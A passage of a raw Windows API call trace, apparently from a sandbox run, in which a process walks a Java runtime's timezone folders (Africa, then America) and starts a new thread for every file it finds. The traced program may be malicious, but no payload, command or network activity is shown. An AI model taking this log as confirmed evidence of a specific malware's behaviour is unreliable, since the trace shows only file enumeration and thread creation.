(x86)\\Java\\jre7\\lib\\zi\\Africa\\Mogadishu" [0158.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5ed00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf4 [0158.207] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monrovia", cAlternateFileName="")) returned 1 [0158.207] wcscmp (_String1="Monrovia", _String2=".") returned 1 [0158.207] wcscmp (_String1="Monrovia", _String2="..") returned 1 [0158.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5ed80 [0158.208] wcscpy (in: _Dest=0x1cf5ed80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.208] wcscat (in: _Dest=0x1cf5ed80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.208] wcscat (in: _Dest=0x1cf5ed80, _Source="Monrovia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Monrovia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Monrovia" [0158.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5ed80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x175c [0158.209] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nairobi", cAlternateFileName="")) returned 1 [0158.209] wcscmp (_String1="Nairobi", _String2=".") returned 1 [0158.209] wcscmp (_String1="Nairobi", _String2="..") returned 1 [0158.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cf5ee00 [0158.209] wcscpy (in: _Dest=0x1cf5ee00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.209] wcscat (in: _Dest=0x1cf5ee00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.209] wcscat (in: _Dest=0x1cf5ee00, _Source="Nairobi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nairobi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nairobi" [0158.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5ee00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda0 [0158.210] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ndjamena", cAlternateFileName="")) returned 1 [0158.211] wcscmp (_String1="Ndjamena", _String2=".") returned 1 [0158.211] wcscmp (_String1="Ndjamena", _String2="..") returned 1 [0158.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5ee80 [0158.211] wcscpy (in: _Dest=0x1cf5ee80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.211] wcscat (in: _Dest=0x1cf5ee80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.211] wcscat (in: _Dest=0x1cf5ee80, _Source="Ndjamena" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ndjamena") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ndjamena" [0158.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5ee80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd8c [0158.212] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Niamey", cAlternateFileName="")) returned 1 [0158.212] wcscmp (_String1="Niamey", _String2=".") returned 1 [0158.212] wcscmp (_String1="Niamey", _String2="..") returned 1 [0158.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cf5ef00 [0158.212] wcscpy (in: _Dest=0x1cf5ef00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.212] wcscat (in: _Dest=0x1cf5ef00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.212] wcscat (in: _Dest=0x1cf5ef00, _Source="Niamey" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Niamey") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Niamey" [0158.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5ef00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf8 [0158.226] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nouakchott", cAlternateFileName="NOUAKC~1")) returned 1 [0158.226] wcscmp (_String1="Nouakchott", _String2=".") returned 1 [0158.226] wcscmp (_String1="Nouakchott", _String2="..") returned 1 [0158.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cf5ef80 [0158.226] wcscpy (in: _Dest=0x1cf5ef80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.226] wcscat (in: _Dest=0x1cf5ef80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.226] wcscat (in: _Dest=0x1cf5ef80, _Source="Nouakchott" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nouakchott") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Nouakchott" [0158.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5ef80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0158.228] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ouagadougou", cAlternateFileName="OUAGAD~1")) returned 1 [0158.228] wcscmp (_String1="Ouagadougou", _String2=".") returned 1 [0158.228] wcscmp (_String1="Ouagadougou", _String2="..") returned 1 [0158.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1cf5f000 [0158.228] wcscpy (in: _Dest=0x1cf5f000, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.228] wcscat (in: _Dest=0x1cf5f000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.228] wcscat (in: _Dest=0x1cf5f000, _Source="Ouagadougou" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ouagadougou") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ouagadougou" [0158.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5f000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00 [0158.229] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Porto-Novo", cAlternateFileName="PORTO-~1")) returned 1 [0158.229] wcscmp (_String1="Porto-Novo", _String2=".") returned 1 [0158.229] wcscmp (_String1="Porto-Novo", _String2="..") returned 1 [0158.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cf5f080 [0158.230] wcscpy (in: _Dest=0x1cf5f080, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.230] wcscat (in: _Dest=0x1cf5f080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.230] wcscat (in: _Dest=0x1cf5f080, _Source="Porto-Novo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Porto-Novo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Porto-Novo" [0158.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5f080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb04 [0158.238] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sao_Tome", cAlternateFileName="")) returned 1 [0158.238] wcscmp (_String1="Sao_Tome", _String2=".") returned 1 [0158.238] wcscmp (_String1="Sao_Tome", _String2="..") returned 1 [0158.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f100 [0158.239] wcscpy (in: _Dest=0x1cf5f100, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.239] wcscat (in: _Dest=0x1cf5f100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.239] wcscat (in: _Dest=0x1cf5f100, _Source="Sao_Tome" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Sao_Tome") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Sao_Tome" [0158.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5f100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd8 [0158.240] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tripoli", cAlternateFileName="")) returned 1 [0158.240] wcscmp (_String1="Tripoli", _String2=".") returned 1 [0158.240] wcscmp (_String1="Tripoli", _String2="..") returned 1 [0158.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cf5f180 [0158.240] wcscpy (in: _Dest=0x1cf5f180, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.240] wcscat (in: _Dest=0x1cf5f180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.240] wcscat (in: _Dest=0x1cf5f180, _Source="Tripoli" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tripoli") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tripoli" [0158.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5f180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb08 [0158.241] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tunis", cAlternateFileName="")) returned 1 [0158.241] wcscmp (_String1="Tunis", _String2=".") returned 1 [0158.241] wcscmp (_String1="Tunis", _String2="..") returned 1 [0158.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cf5f200 [0158.242] wcscpy (in: _Dest=0x1cf5f200, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.242] wcscat (in: _Dest=0x1cf5f200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.242] wcscat (in: _Dest=0x1cf5f200, _Source="Tunis" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tunis") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Tunis" [0158.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5f200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0c [0158.243] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windhoek", cAlternateFileName="")) returned 1 [0158.243] wcscmp (_String1="Windhoek", _String2=".") returned 1 [0158.243] wcscmp (_String1="Windhoek", _String2="..") returned 1 [0158.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f280 [0158.243] wcscpy (in: _Dest=0x1cf5f280, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.243] wcscat (in: _Dest=0x1cf5f280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.243] wcscat (in: _Dest=0x1cf5f280, _Source="Windhoek" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Windhoek") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Windhoek" [0158.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5f280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10 [0158.244] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windhoek", cAlternateFileName="")) returned 0 [0158.244] FindClose (in: hFindFile=0x1cd86c70 | out: hFindFile=0x1cd86c70) returned 1 [0158.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61430) returned 1 [0158.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced96a0) returned 1 [0158.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e480) returned 1 Thread: id = 2440 os_tid = 0x1e94 [0153.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced95c0 [0153.488] wcscpy (in: _Dest=0x1ced95c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0153.488] wcscat (in: _Dest=0x1ced95c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0153.488] wcscat (in: _Dest=0x1ced95c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*" [0153.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd638c0 [0153.488] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\*", lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86d30 [0153.771] wcscmp (_String1=".", _String2=".") returned 0 [0153.771] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.773] wcscmp (_String1="..", _String2=".") returned 1 [0153.773] wcscmp (_String1="..", _String2="..") returned 0 [0153.773] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adak", cAlternateFileName="")) returned 1 [0153.773] wcscmp (_String1="Adak", _String2=".") returned 1 [0153.773] wcscmp (_String1="Adak", _String2="..") returned 1 [0153.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x42061930 [0153.774] wcscpy (in: _Dest=0x42061930, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0153.774] wcscat (in: _Dest=0x42061930, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0153.774] wcscat (in: _Dest=0x42061930, _Source="Adak" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Adak") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Adak" [0158.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42061930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1404 [0158.364] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anchorage", cAlternateFileName="ANCHOR~1")) returned 1 [0158.364] wcscmp (_String1="Anchorage", _String2=".") returned 1 [0158.364] wcscmp (_String1="Anchorage", _String2="..") returned 1 [0158.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x426eea00 [0158.364] wcscpy (in: _Dest=0x426eea00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.365] wcscat (in: _Dest=0x426eea00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.365] wcscat (in: _Dest=0x426eea00, _Source="Anchorage" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Anchorage") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Anchorage" [0158.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eea00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150c [0158.365] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Anguilla", cAlternateFileName="")) returned 1 [0158.365] wcscmp (_String1="Anguilla", _String2=".") returned 1 [0158.366] wcscmp (_String1="Anguilla", _String2="..") returned 1 [0158.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x426eea80 [0158.366] wcscpy (in: _Dest=0x426eea80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.366] wcscat (in: _Dest=0x426eea80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") 